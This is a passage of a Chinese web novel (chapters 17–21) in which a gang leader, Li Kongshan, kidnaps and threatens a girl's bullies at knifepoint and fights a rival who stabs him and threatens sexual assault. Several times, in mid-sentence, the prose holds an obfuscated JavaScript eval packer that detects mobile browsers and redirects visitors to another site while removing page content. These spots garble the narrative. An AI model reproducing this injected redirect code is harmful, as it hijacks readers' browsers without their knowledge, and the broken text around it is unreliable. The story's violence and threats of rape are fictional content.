突然想到什么,连翘停下脚步,扭头对三人说:“对了,下次别让我再听见你们说李空山的坏话,更别让我听见你们说李空山是混混。他不是,他是这个世界上最好的人。” 三个人回座位收拾书包,准备去办公室见班主任和家长,结果,每个人从抽屉里拿出书包的同时,一大堆纸屑垃圾也随之被拉出来。 不仅如此,这些纸屑还写满了她们上次考试各自倒数的成绩。 这简直是极大的羞辱。 * 傍晚的风徐徐吹过河面,凉意和闷热混杂,吹拂到河边站着的两人脸上。 “听说你今天和你的同学起冲突了?” 连翘默默盯着河面,“这你都知道?” 宇瑞拉开易拉罐的盖子,坐在路边低矮的护栏上。“早听说了,空山哥给我说的。” “李空山?” 连翘警觉地看向旁边的宇瑞,“他怎么知道?” 宇瑞回答连翘:“他不是去接你吗,在校门口等你的时候看见你班主任了,你那班主任大嘴巴,看见啥就给李空山说啥。” “哦……”连翘点点头,心里在想事情,忽然,她猛然抬头看向宇瑞:“李空山说他有事要出去一趟,晚点儿才回来,他要去做什么?” 第六感告诉她——事情绝对没那么简单。 今天宇瑞突然来找她也很奇怪——就像是在故意拖延。 宇瑞认真地想了下,拉长声音:“看在咱俩是合作伙伴的份上,我就暂且告诉你。” 他接着往下说:“空山哥去给你出这口气去了,上次的赵旭摩和这次的黄什么怡,他一起算账。” “你糊涂,你怎么不拦着李空山啊?” 连翘看上去有些慌张,但更多的是担心。 “拦?为什么要拦着?” 宇瑞站起来,“这不是你想看到的吗?空山哥这么做,不就能恰好验证你的计划正在一步步成功?为什么要阻止,难道你害怕他会出事?难道你已经忘了你接近李空山的最终目的?” “我没忘。” 连翘反驳宇瑞,“但我同样知道,李空山打心眼里并不坏,他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165875|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用心对我,就算我处心积虑接近他,我有我的目的,但我也不想他有事。” 她转身,走向大马路,“宇瑞,赶紧的,给我带路,我要去找李空山。” “不去。” 宇瑞给自己灌了一口可乐,“你对我空山哥还没信心吗,收拾那两个人绝对没问题。再说了,空山哥让我在这里盯着你别乱走,这可是他交给我的任务。” 连翘变得严肃:“你明不明白——如果李空山真出了点什么意外,你到时候靠谁走上你的高位?” “有点道理啊……” 宇瑞尽力去思考这个问题,但想了半天也想不出个所以然,只是后知后觉连翘说得好像没错。 他肯定地点点头:“我赞成!那走吧,我给你带路。” * 夜色朦胧,荒僻的竹林里不断传来窸窸窣窣的声音和脚步声。 “人呢?赶紧给我带上来。” 李空山蹲在一根倒塌的树桩上,浑身散发着的吊儿郎当气儿仿佛与生俱来,无论他做什么,总能给人一种轻狂随意之感。 “哥,快了快了,马上。” 李空山手底下的弟兄挥挥手,两个架着女孩的人立刻加快脚步往这边走。 女生被蒙住眼睛,捆住双手。 穿着黑衣服的年轻小伙不屑地把人扔在地上,报告李空山,“哥,人在这儿,给你带来了。” “好,干得漂亮。” 李空山吐出嘴里的草根,起身跳下来,他绕着女生走了一圈,“原来就是这家伙欺负我家车羽羽啊。看起来也不怎么样嘛。” 黄怡害怕地屈膝往后缩,她的眼睛被蒙住,什么都看不见,对于这陌生的地方和陌生的声音,恐惧感以极快的速度席卷她的心头。 “你……你们谁啊,想干什么……” 车羽羽是谁她并不知道,也不认识。黄怡想,肯定是他们搞错了。 “大哥,你们说的人我不认识,你们肯定是抓错人了,你们放过我吧。” “放你?你把我们想得也太善良了吧。” 李空山习惯性地从兜里掏出自己随身携带的小刀,这把刀他使用了很多年,刀柄上还刻着他的名字“山”。 据说,这把小刀是李空山爷爷在世的时候,亲手为他打磨的。 黄怡听见挥手的声音,情不自禁变得更加害怕,冷汗不断冒出,双腿直打哆嗦。 “你们到底要做什么——” 黄怡的声音里带着哭腔,只可惜,李空山这种无情无义的人从来都不会有所动容。 如果有——那也只存在于奶奶和连翘中。 “放心,好戏还没上场呢。” 李空山回到原处,挥挥手,命人把赵旭摩手底下的人带上来。 在他的示意下,他的人用胶布把黄怡的嘴封上,不让她发出声音。 赵旭摩手下的人也和黄怡一般,被蒙住了眼睛。 李空山懒散开口:“你知道今天我们找你来做什么不?” 男生声音浑厚:“李空山!你别得意!要是我赵哥知道你动了他的人,他绝对跟你没完!” “嘿,正好。”李空山笑了,很满意男生这句话,“我还真就迫不及待赵旭摩这畜生赶紧来找我呢。” 18. 第 18 章 “什么意思?你们把我绑过来,到底想做什么!” “很简单啊。” 李空山从木桩上走下来,两手反背在后脖子处,若无其事。 “我们不为难你,我就是想听听,你那亲爱的赵旭摩哥哥做过什么好事。你是他身边的红人,你就跟我们分享分享呗?” “哼。”被蒙住眼睛的男生把头扭过去,“我哥的辉煌时太多了,我看你听了受不起。” “哟呵,这么猖狂啊。” 李空山绕着男生走,居高临下打量他,眸光扑朔迷离,“我听说你那赵旭摩哥哥以前还差点qj过邻居家的女儿?不是我说,赵旭摩就是一畜生。” “你懂什么。” 作为赵旭摩的人,自然相当维护赵旭摩。“我哥看得上她,那是她自己的福气,谁让她那么不长眼,非要抗拒,要不是她在那儿一直喊求救,我哥的好事儿也不会被人破坏。” 一股脑直接讽刺女孩的不对,男生差点忘了李空山问这些事儿的真正目的,他后知后觉警惕起来。 “当时这件事有镇长出面,才没有闹大,除了我们几个人外,其他人都不知道,李空山,你从哪里打听到的?” 李空山自在又随意,“哎哟,咋的,想知道是谁往外泄露了消息,以后好去教训这个人是不是?” 男生呼气,心中对李空山的气焰正盛。 李空山格外惋惜地摇头,“如果真要教训,其实你今天就可以,只是你好像并没有这个机会。” 男生疑惑了几秒,知道这件事的人他都知道有谁,除了一人……那天路过救下赵旭摩邻居女儿的人。 难道是李空山? 男生越想越觉得不对劲,如果真的是李空山,那他作为赵旭摩的死对头,明明可以往外宣扬,让赵旭摩的名声更加扫地。 可是他却没有这么做。 那到底是为什么? 男生跟在赵旭摩身边久了,自然想不明白,其实李空山这样做,不过是不想一个好好的姑娘名声受到影响。 “李空山,你!” 男生还想再骂李空山,而李空山只是当做没听见一般,无所谓地挥挥手,让人把男生带下去。 他的目的已经达成了一半。 敢说车羽羽看上的人不行。 那他到时要让这个叫黄怡的好好看看这赵旭摩又是个怎样的畜生。 不过…… 李空山往前走了一步,忽然停下,在心里犯嘀咕。 “我为什么要这么想?” 他两手叉腰,开始疑惑又纳闷。“什么时候……证明我在车羽羽心里的地位,不让她被其他人看不起,变得这么重要了?” 李空山越想,越觉得混乱。 他都开始不知道自己今天出现在这里、因为车羽羽而教训这些人的目的究竟是什么了。 算了。先把事儿办了再说。 李空山走到手底下弟兄挟制的黄怡身前,弯腰,拿着没取出来的小刀抵住黄怡的脖子。 “今天呢,就是给你个教训,让你清楚知道,连翘身后有谁。要是你他娘的以后再敢欺负连翘,这把刀子就绝对不是抵住你脖子这么简单了。” 他凑近些,声音放低,低沉又沙哑。 “下一次,它会直接刺穿你的脖子。” 女生哆嗦不止,“我……我知道了,我以后、以后绝对不会再欺负她!” 李空山站直,无所谓地转身,把刀子放进自己裤兜里。 “小海,放人。” * “现在轮到你了。” 李空山走到男生面前,刀子被他拿在空中随意比划。 蒙住男生眼睛的黑布被揭开,李空山那张少年感满满的脸映入他眼帘。 “其实我也不打算拿你怎样,你要是愿意洗心革面做人,不再跟着赵旭摩那畜生做事,我今天倒也可以放过你。” “做梦。” 男生一直在试图从捆住两手手腕的麻绳中挣脱,他“呸”了一声,“李空山,你以后也就这点出息,帮着黑子在这小镇上收债,以后能有什么本事?” 不屑一笑过后,男生又肆意开口,完全不把李空山放在眼里,自以为有赵旭摩给他撑腰。 “还得跟着我赵哥混以后才有本事啊。李空山,不然你改头换面,以后跟着我哥混吧?虽然你们俩以前有过节,但是只要你认输,赵哥他绝对不会亏待你。” “你奶奶的不长眼是吧。” 李空山直接没了耐心跟男生废话,一脚直接踢在男生胸口处,男生跌跌撞撞被踢倒在地,但依旧对李空山露出不屑的神情。 他两手叉腰盯着地面的男生:“我说你是死性不改是吧,还想让我去跟赵旭摩混,有病!” 李空山还想再上去补两脚,手底下的人慌慌张张跑过来。 “哥,赵旭摩来了。” 李空山收回脚,眉头一挑,神情愉悦,“哟,总算来了啊,可把我等无聊了。” 他无所谓地站好,把弄着手里的小刀,偏头看手底下的兄弟:“来了几个人?” 小海抿嘴,眉头紧锁,举起右手五指摆在李空山眼前:“哥,足足有这么多呢。” 李空山讶然:“才五个?我去,赵旭摩这家伙也太看不起我了吧,居然只带五个人来!” “不是,哥——” 小海拉住准备去说理的李空山,“不是五个,是足足五十个!” “啥?” 李空山眼睛微眯,有那么一刹那,他怀疑小海在开玩笑。 但小海一向不是这种人,于是他认清了“现实”。 李空山“切”一声,“五十个就五十个呗,咱还怕他不成。小海,让兄弟伙带上家伙,跟我一起去好好教训这不长眼的东西。” 小海一边跟上李空山,一边问他:“哥,你确定?咱们以为赵旭摩就一个人来,只带了三五个兄弟。真这么跟他们干,人数上咱不占优势啊……” “小海啊小海。” 李空山穿过杂乱生长的荒草,右手拿着锋利的小刀往前走,“要干大事的人,就不能怕这儿怕那儿的知不知道。几个人又怎么了,咱一样搞得定。我们这些人平时可不是吃素的。” 的确,李空山说的没错,黑武俱乐部地下室有数十间专门供武术训练的房间,黑武会的人没事儿就在这里健身、练打斗。 个个身上都有真本事。 领头的李空山更不用说了。 只是他们就算再有力气,几个人加起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李空山一改刚才的浪荡随意,严肃直视前方,一声令下后,身后这些手里抄着家伙跃跃欲试的兄弟全都冲上去。 他一脚踢开朝自己跑过来的宽肩男生,右手拿着钢管径直朝赵旭摩走去。 今晚,李空山的目标是赵旭摩。 他必须要出这口恶气——教训这个没长眼,耍流氓耍到他家车羽羽身上的混蛋。 “你们还愣着干什么,上啊,都给我上!” 赵旭摩眼前一股脑朝李空山打过去的人全都被李空山打得更惨,趴在地上爬不起来,心里更慌张。 李空山走到赵旭摩正前方停下,“怎么,见到你空山爷爷就变成缩头乌龟了,动都不敢动?” 赵旭摩咬牙切齿,恶狠狠地盯着李空山,他二话不说就握紧拳头朝李空山打过去。 李空山灵活躲开,挥起钢管朝赵旭摩脑袋砸去。 赵旭摩也不是傻的人,在地上滚一圈,躲开被钢管打中屁股后李空山的追击。 “嘭——” 钢管又重重地打中赵旭摩另一半屁股,他痛得“嗷呜”直叫。 李空山得意一笑,他就知道赵旭摩这家伙要继续往前面躲。 赵旭摩被李空山逼急了,跌跌撞撞站起,他看了眼周围,随后捡起地上的一块大石头。 李空山朝他步步逼近,眼神危险得就像索命的恶鬼。 赵旭摩额头满是汗水,他举起石头想要朝李空山砸去,但每一次都被李空山躲开。 李空山手底下的兄弟打趴下了赵旭摩带来的将近一半的人。 “李空山,你那心上人怎么来了?” 19. 第 19 章 心上人? 是说的连翘? 可她这个时候来干什么? 李空山出于本能回头想看一眼。 可就在他回头的那一瞬间,原本气喘吁吁、弯腰大口呼吸的赵旭摩瞬间举起手里的大石头,朝李空山砸去。 好在李空山反应够快,及时躲开了。 他发狠地盯着赵旭摩,“你他娘的敢骗我。” 二话不说,李空山快步走到赵旭摩身前,拎起他的领子,右脚一踢,赵旭摩被推到在地,撞到身后不远处的一棵大树。 李空山屈膝半跪,挥起拳头朝赵旭摩打了一拳又一拳。 赵旭摩也不是什么好对付的料儿。 比如说——他擅长背地里耍阴招。 就在李空山发了疯揍赵旭摩的间隙,赵旭摩忍着痛从裤脚处翻出一块刀片,一声不吭地猛地插向李空山的后腰。 李空山皱眉站起。 伤口很深,鲜血瞬间往外流。 赵旭摩趁机立即站好,捡起地上的石头朝李空山砸去。 他在李空山有伤口的右侧后腰附近踢一脚,李空山咬牙忍着痛,还想继续去打赵旭摩。 然而赵旭摩又继续用石头去砸李空山的伤口,捡起石头去砸李空山的脑袋。 一会儿的功夫,李空山身上好多血,哪怕已经快不行了,他还屈膝半跪在地咬牙坚持。 另一边。 黑武会的人收拾赵旭摩带来的帮手收拾得井井有序,不料他们却中了赵旭摩的陷阱,几个人被网缠住,挂在树上。 几人挣脱皆无果。 其中一人开口:“小海,空山哥去教训赵旭摩去了这么久,不会有事吧?你赶紧想想办法,我们去看看哥现在怎么样!” 小海也担心李空山横冲直撞的性子和爱耍阴招的赵旭摩会给他带来麻烦。他四处检查,始终无法找到下去的办法。 连翘带着宇瑞终于赶来,两人见黑武会的人被绳子掉在半空中,便已明白两边早已打起来了。 她对宇瑞说:“你有刀,赶紧割开绳子救他们下来,我去找李空山。” “好!” * 连翘心里很慌,不知为什么,她的心跳得很快很快,她担心李空山出事。 “李空山——” “李空山——” “你在哪儿啊——” 一路跑来的连翘终于看见在大树底下厮打的两人。她连忙跑过去,试图阻止这场恶战。 当她看见李空山头上流了好多血、衣角处一大片的鲜红时,她开始意识到——如果会受伤,有人维护自己也并不一定是好事。 没有人愿意看见对自己好的人因为自己伤痕累累。 李空山被赵旭摩按在地上打,他头上满是血,笑着凝视赵旭摩,“来啊,打我啊,你今天要是打不死我,我就打死你。” 黑夜里,流着血还笑得出来的李空山就像一个恶魔。 赵旭摩愣住,挥起拳头又朝李空山砸去:“李空山,要是早知道有今天,你就不该一次次来坏我好事,怎样,你现在是不是特别后悔啊?” 李空山刚想开口,耳边传来连翘呼唤他名字的声音,他心中一悔:这小妮子真来了?真烦,居然让她看见自己这么落魄的样子。 李空山回神,继续咧嘴而笑,“后悔,当然后悔,我只后悔当初没早点把你打残。” 赵旭摩刚想继续用身旁的石头砸李空山,突然赶过来的连翘让他停下了手中的动作。 连翘恶狠狠地盯着赵旭摩,右手拿着路上借的小卖部老板的手机:“赵旭摩,你赶紧把他放开!不然我就报警了!” 赵旭摩被自己的爸爸惯坏了,从来不把警察放在眼里,狂妄开口:“报啊,你报呗,反正打人的又不止我一个,我最后肯定没事——” 他看向被自己按住的李空山,“但他可就不一定了哦。” 连翘沉默不语,眼里满是对赵旭摩的憎恨。 李空山身上的伤有多重,她对赵旭摩就有多恨。 李空山轻蔑地偏头,他眼睛被打肿,只能用余光瞥见不远处站着的女孩。 他心里想,这人啊,真是愚蠢,明明这个世界上只有拳头才是解决事情最好的方法,她还在那儿跟人讲文明。 不过,他也在想,原来他李空山也不赖,还是有个女孩是想要救他的。 哪怕是“想”,可在李空山的人生里,也已经很罕见了。 “来——” 李空山指着自己的头,“朝这儿打,打啊,我看你今天打不打得死我。” 少年咧嘴浅笑,像个恶魔,不知痛痒。 赵旭摩挥起手,准备把手里的石头朝李空山砸去。连翘顾不上想太多,直接跑过去抱住李空山,用自己的身躯挡住李空山的身子,那双纤细的手如坚固高墙护住李空山满是鲜血的头。 奇怪的感觉开始从心里不断暴发蔓延。 李空山顶着又红又肿的眼睛去看,发现连翘把自己抱住,挡得严严实实,以至于他什么都看不见。 只能感受到从连翘身体里传过来的暖意。 这是什么感觉? 李空山蹙眉,这种感觉他好陌生,却有那么一刹那,妄图一生都拥有。 “臭婊子,一边去。” 赵旭摩把连翘推开,但连翘怎么都不放,他废了好些劲儿才把连翘从李空山身上扯走。 连翘被推在地,只要赵旭摩有所行动,她就会又扑过去抱住李空山,把他护住。 突然想到什么,赵旭摩奸诈笑着,把手里的石头放下,凑近些,用只有李空山能听到的声音对他说。 “我突然想到一个特别有意思的游戏,你说我要是在这里上.了你的心上人,而你又爬不起来,只能眼睁睁看着,这是不是特别刺激啊,你是不是会更加恨我啊,哈哈哈哈哈。” “赵旭摩,你个畜生。” 李空山瞪着赵旭摩的眼神比刚才还要凶狠、恐怖。 他的拳头情不自禁握紧。 不远处的连翘听不清两人在说什么,自然也不知道赵旭摩在笑什么,但她一直在观察,手里握着石头,一直找时机——关键时刻冲上去护住李空山的时机。 赵旭摩甩开李空山的衣领,奸诈笑着朝连翘走去。 连翘开始明白——似乎赵旭摩的目标转移了。 不过正好,李空山恰恰可以利用这个机会逃走,只要再多撑一会儿,其他人就会赶来,他们就不再孤立无援。 趁着赵旭摩朝自己走来的间隙,连翘一直在用眼神示意李空山,急迫而忐忑。 “李空山,你快走啊,快走!” 李空山无所谓地看她一眼,随后收回目光,轻蔑笑着,仰头直视漆黑的夜空。 他想——原来憎恨和无可奈何是这种感觉,原来害怕的心情是这种滋味,原来拼命想要守护某个人是这种感觉。 他笑了,望着夜空而笑。 今晚不算白来。 “赵旭摩。” 李空山勉强从地上站起,虽然步子还是有些摇晃,但他还算撑得住。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165877|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他把小刀甩到一边,虽不打算闹出人命,但早已铁了心要把赵旭摩往死里打。 就在赵旭摩回头那一瞬间,李空山用钢管去砸他的脑袋,这下,两个人的脑袋上便都是血。 李空山用力把赵旭摩踢开,一脚踩在地面,一脚踩在赵旭摩的脸上,一拳又一拳。 连翘赶紧跑过去,从身后抱住李空山,声音急切:“李空山,别打了,再打就出人命了。” “放开我——” 李空山还是没打消继续揍人的想法,他拎起赵旭摩的衣领,赵旭摩的脸此刻又青又肿,“我tm刚刚说了,你打不死我,我他娘的今晚就打死你!” “李空山——” 连翘紧紧抱住李空山,尽全力去拦他的手,但李空山这个人性子倔,认定的事儿绝不改口。 突然,手臂间传来湿漉漉的黏腻感,连翘目光朝李空山右后腰看去,这才发现李空山后腰处还有一个很深的伤口。 不能再让他这么任性下去。 连翘松手,跑到李空山身前,目光坚毅:“李空山,跟我走,你现在必须得去医院处理伤口!” “关你屁事,你一边去。” 他径直甩开连翘的手,跟发疯一般,逮着赵旭摩往死里打。 “李空山!” 连翘心里一横,再次走到李空山身前,轻轻踮起脚尖,捧住他的脸,凑近低语:“你受伤了,必须得去医院,跟我走,好吗?” 快要失去理智的李空山被连翘的这一举动拉回,他愣愣地盯着眼前近得快要贴上的女孩,心,不知不觉砰砰砰跳得很快。 连翘继续用温柔的声音说下去:“我知道你今晚来这里是想为我出气,我很感动,但是你不要把自己的前途葬送进去行不行?适可而止,李空山,我们去医院,好不好?” 月光悄悄洒在树林间,荡漾起一片涟漪,有那么一瞬间,李空山看得出神,差点连自己来干什么的都忘记。 他手上的力度松了不少,钢管在他手中仿佛随时会掉落。 宇瑞救下被网套住的几个兄弟,在林子里寻觅了会儿,循着声音找到这里。 一见到李空山的身影,众人就激动地挥手呐喊:“哥!你没事吧!” 所有人欣喜地朝李空山跑去。 听到声音,李空山侧头看了眼正向自己跑来的几人,回头盯着连翘,无措又害羞地往后退了一步,迅速挪开目光。 他意识到刚刚好像凶了她,语气变得犹豫,“你……刚刚说什么来着?” 连翘浅浅一笑,李空山的理智重新回来了就好。 她的手放在身侧,“我呀,刚刚说——我们去医院好不好?” 李空山悄悄看一眼连翘,又迅速收回目光,心不在焉地盯着枯叶铺满的地面。 夜色凄凄,少年的声音像落入玉盘的珠子,轻轻的,却又敲击着她的心:“行。” 宇瑞带着人赶到,连翘说她先带李空山去医院。 李空山已经一瘸一拐了,必须得有人扶着才行。 原来他腿也被赵旭摩用石头砸过。 连翘扶着李空山,宇瑞询问该如何处理赵旭摩。 他盯着身旁搀扶着自己的连翘,心不在焉回答宇瑞:“随便处理就行,警告他要再敢随便动人,下次就不是打得他半死这么简单了。” “明白。” 宇瑞有些迟疑,“可是哥,如果他把这事告诉他爸怎么办?” 李空山无所谓回答:“让他尽管来,我李空山一人做事一人当,不怕他。” 20. 第 20 章 医院里。 医生给李空山处理好伤口后,他就被送到病床上躺着。 连翘坐在她旁边,正用水果刀给他削苹果。 李空山看上去不怎么满意,盯着黑屏的电视机嘀咕:“都怪你,非要让我来医院,把我整得跟个娇气包儿似儿的。我可是个大老爷们,这点小伤自个儿在家养养都比来医院好得快。” 连翘用叉子叉住一块苹果,塞进李空山嘴里:“是,连吃东西都堵不住你的嘴。” 李空山稍稍尝了尝,味道还不错,于是满意地嚼来嚼去,一本正经开口,“哎,我是说真的,车羽羽,从小到大我打架落得伤可不少,但我这还是第一次上医院。” 李空山非要极力证明:“再次声明,我很坚强,一点都不柔弱啊,是你非要让我来医院的。” “是是是。”连翘又气又笑地盯着李空山,“但我们再怎么说也得就事论事好吧,你昨晚全身都是血,快跟个血人似儿的,都这样了还不来医院,难道你还等着我们用架子把你架来医院不成?” “不敢当不敢当。”李空山盯着连翘削在盘子里的苹果,眨眨眼,示意连翘再给自己来一口。 她叉起一块塞到李空山嘴里。 李空山满意地闭上眼睛,“哎,这日子就是好,连吃水果都有人喂。” 还没得意多久,李空山转念想到什么,睁开眼睛,警惕地盯着连翘:“不是,我叫你车羽羽,你怎么都不反驳啊?” 他心头一喜,很满意自己的起名水平,得意开口:“我懂了,你也觉得车羽羽这名字好听是不是。” 连翘无所谓地看着他,“亏你想的出来,认字认半边。” 李空山惊喜落空,“哎,没意思,原来你早就知道啊。” 一说完,他立马反驳连翘,“我可不是认字认半边,我就是单纯觉得这样读更好听,你咋就知道你那两名字不是多音字呢。” 连翘:“……” 她又继续喂李空山吃苹果,动作流畅自然得让李空山都觉得有些不好意思。 他小心翼翼地看她一眼,没发觉有什么异样。 连翘垂下目光,神情渐渐变得严肃,回想起做昨晚他发疯般往死里打赵旭摩,仍觉后怕不已。 “李空山,你昨晚那么不要命去揍人,连自己被刺了几刀都顾不上,你是觉得你的命不值几个钱是吗。” “要不是你福大命大,伤口幸好比较浅,你现在根本就无法坐在这儿和我说话。” 他眨巴眼睛,目光从神情严肃、目光中透露着担忧和生气的连翘身上收回,转而直勾勾盯着正前方刷满白漆的墙。 “咋了,有什么问题?一条命而已,能值几个钱啊?再说了,我就一混混头儿,又不是什么了不起的大人物。” 李空山像小孩子一般炫耀,“不过有一说一,就凭咱这儿劲儿,每次打架都是冲得最快的那个,气势就从没输过。那些我看不顺眼的,全被我给打趴下了,怎样,我还算厉害吧?” 连翘不悦地盯着他:“谁让你这么想的?谁给你说的你的命不值钱?李空山,我很认真地提醒你,你以后无论做什么,都不能不顾自己的命,知不知道?” 他心不在焉,挠挠耳垂,瞥她一眼:“理由?” 少年恣意盯着连翘,语重心长:“我这命不管钱的。要是哪天被某个仇人揍死了,高兴的人一大堆,赵旭摩绝对首当其中。” 连翘抿起两侧嘴角,一本正经教训他,语气坚决。 “不管你的命管不管钱,至少——你的命值一个连翘,这够不够?” 李空山当即愣住,缓了几秒,他犹犹豫豫开口,“这……是哪个意思?” 连翘刚想继续往下说,门口传来小海的声音。 他提着一大袋东西,笑得跟个小孩似儿的,门也不敲就直接冲进来:“哥!我来看你了!这些、这些、还有那些,全都是兄弟们给你买的。” 小海大大方方笑着,见连翘也在这儿,弯腰问好:“嫂子好!” 连翘削苹果的手顿住。 躺在病床上的李空山差点吓得栽下去。 他随手捏住床边柜子上的一卷纸朝小海甩过去:“什么嫂子!别乱喊!二胡子认亲都不带你这样认的。” 小海嘴成“o”型,及时地接住李空山甩过来的卷纸,还好,没有掉地下弄脏。 他笑嘻嘻地挠挠后脑勺,“哥,以前可没见你为了谁这么大动干戈过,咱们都懂,难道你还不好意思啊?” “你个臭小子。” 李空山差点就想举起手给小孩两下,但顾及到连翘还在这儿,终于还是收敛住自己的本性,把手放回去。 他无所谓地看着小海,“怎么你一个人来,宇瑞那小子呢?” 小海微微仰起头,认真想了下,“哦!我想起来了,宇瑞哥说他要出去一趟,至于要去干什么,我也不知道。” “出去了?” 李空山顿了几秒,总觉得哪里不对劲。 连翘见他在想事情,眉头还情不自禁皱起,忍不住在他眼前挥挥手,打断他:“你在想什么?” 李空山回答连翘:“我总觉得哪里不对劲。宇瑞这小子以前一直想着巴结我们的人,无论我干啥他总要凑上来,但今天我都躺医院了,他居然都不来看我?我越想越不对。” “你想他来看你就直说呗,这么多弯弯绕绕?” “不是。”李空山意识到连翘误会了什么,连忙辩解:“我是单纯地觉得他这个人有点反常好吧,才不是在意他眼里有没有我。” 连翘说:“也许是他家里有什么事呢,李空山,你用不着多疑的。” 李空山不屑地摆摆手,撇开脸,拉长声音,语调悠悠,“跟你们这种读书的文化人是说不通哩。” 见状,小海连忙站出来打圆场,“那个……连翘,你千万别介意,我哥他就是这种脾气,嘴硬,但心不坏,你千万千万别往心里去。我哥还是很在意你的!” “拉倒吧,这没你啥事了就出去,该干嘛干嘛。” 李空山轻轻挑眉,无所谓地把目光从小海身上收回。 小海一拍手,立即附和李空山,“哦,对!这儿确实没我啥事了,空山哥,连翘,我就先走了啊,咱们下次见!” 话一说完,小海就直接关门溜了出去,给李空山和连翘留足空间。 李空山刚想继续追问连翘她说的“但值一个连翘”是什么意思,下一秒,连翘直接起身收拾东西。 “我还得回去给你熬粥,我也先走了,晚点过来看你。” “哎,不是……” 李空山欲言又止,面无表情地盯着病房的门被关上。 心情……很复杂。 敢情他一个病人活该一个人待着呗? * 连翘的确回去熬粥了,不过在还等粥的间隙里,她随手推开面朝大马路的那扇窗户,偶然撞见宇瑞从这条路经过。 她当即跑下楼去,拦住拦宇瑞。 戴着鸭舌帽,拉低帽檐,一路小心翼翼的宇瑞只顾着盯着路面想事情,忘了这条路就在李空山家附近。 他只能尽量表现得很平静。 “你干什么?” “你问我干什么之前,应该是我问你吧。”连翘拿出揣在兜里的一张照片,“你偷偷去见赵旭摩做什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165878|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?宇瑞,难道你要背叛李空山?” “你想多了。” 宇瑞盯着连翘手里的照片,没有表现出丝毫慌张。 “我想多了?” 连翘轻轻一笑,“宇瑞,别以为我不知道你心里在想什么,一直以来你都在竭尽全力讨好李空山,可是你发现他根本不吃你那一套,于是,你开始想要换个目标,对吧?而赵旭摩就是你另一个选择。你看中了赵旭摩的家里的关系、权势,不是吗?” “那你打算告诉他吗?” 宇瑞这句话,无异于间接承认了他的行为和目的。 连翘没有直接回答,而是转身准备离开,只给他留下一句话,“多行不义必自毙,虽然我不懂其他人这么死心塌地跟着李空山是为什么,但我知道对于你来说,没有比李空山更好的主儿。” 连翘上楼的时候,恰好撞见院子里的阿婆在熬鸡汤。 浓郁香气四溢,弥漫在院子的各个角落。 连翘想到鸡汤对正在养伤的李空山来说是大补,立即调头转身,朝阿婆家走去。 她将两手背在身后,笑容洋溢,“阿婆,你在熬鸡汤吗?好香啊,我隔着老远就闻到香味啦。” 阿婆抬起头,见到是连翘,立即笑起来,“哎呀——连翘,原来是你呀,快来快来——你还没吃饭吧,要不要今天中午就在我这儿吃算了,阿婆给你盛鸡汤喝。” “这怎么好意思。”连翘没有直接拒绝,毕竟心里还记挂着病床养伤的李空山,她对阿婆说:“你辛辛苦苦熬个汤也不容易,阿婆,你留着自己喝吧。” “诶——阿婆一个人本来就喝不完的呀。” 阿婆不等连翘答应,直接从柜子里翻出一个保温盒,给连翘盛鸡汤,满满当当。“不说了,连翘,今天你必须带鸡汤回去喝,我手脚不好,多亏了你经常帮我洗衣服,别跟我客气。” “那好吧,谢谢阿婆!” 连翘欣喜地从阿婆手里接过热气腾腾的鸡汤,“阿婆,保温壶给你洗干净了就送过来。” 阿婆笑笑说:“别客气,慢慢来,要是不够,再来我这里盛。” “好!” 连翘道谢以后,便心满意足地上楼。 粥也熬得差不多了,她赶紧收拾好东西,带上李空山换洗的衣服,赶去医院。 她想——李空山这个小馋鬼,等这么久,肚子肯定饿了。 离开的时候,连翘注意到阿婆笼子里喂的老母鸡还有三只。 * 左手一壶粥,右手一壶鸡汤,清淡营养又健康。 连翘不用想也猜得到——等李空山看见了,绝对感动得要从床上跳下来,如果他腿没受伤的话。 “嘎吱——” 房间的门被打开。 连翘扬起笑容,提着两壶东西走进去,刚迈一步,就看见一个女人趴在李空山的病床上哭鼻子,哭得梨花带雨,楚楚可怜。 “我说你能不能——” 李空山话说到一半,门口传来开门的声音,他朝连翘看过去,还未说完的话堵在喉间。 “不……不是,连翘,你怎么来了?” 连翘面无表情一笑,立在原地,“我是不是不该来?” 李空山看看趴在病床边哭得伤心欲绝的女人,又看看站在门口气鼓鼓的连翘,急忙解释:“不是,那啥,你误会了。” 他盯着床边啜泣的女人,厉声训斥:“你赶紧给我起来,有多远滚多远,我这儿不欢迎你。” “?” “好哇!” 女人直接站了起来,停止哭腔,“李空山,你这个无情无义的家伙,居然想赶我走!” 21. 第 21 章 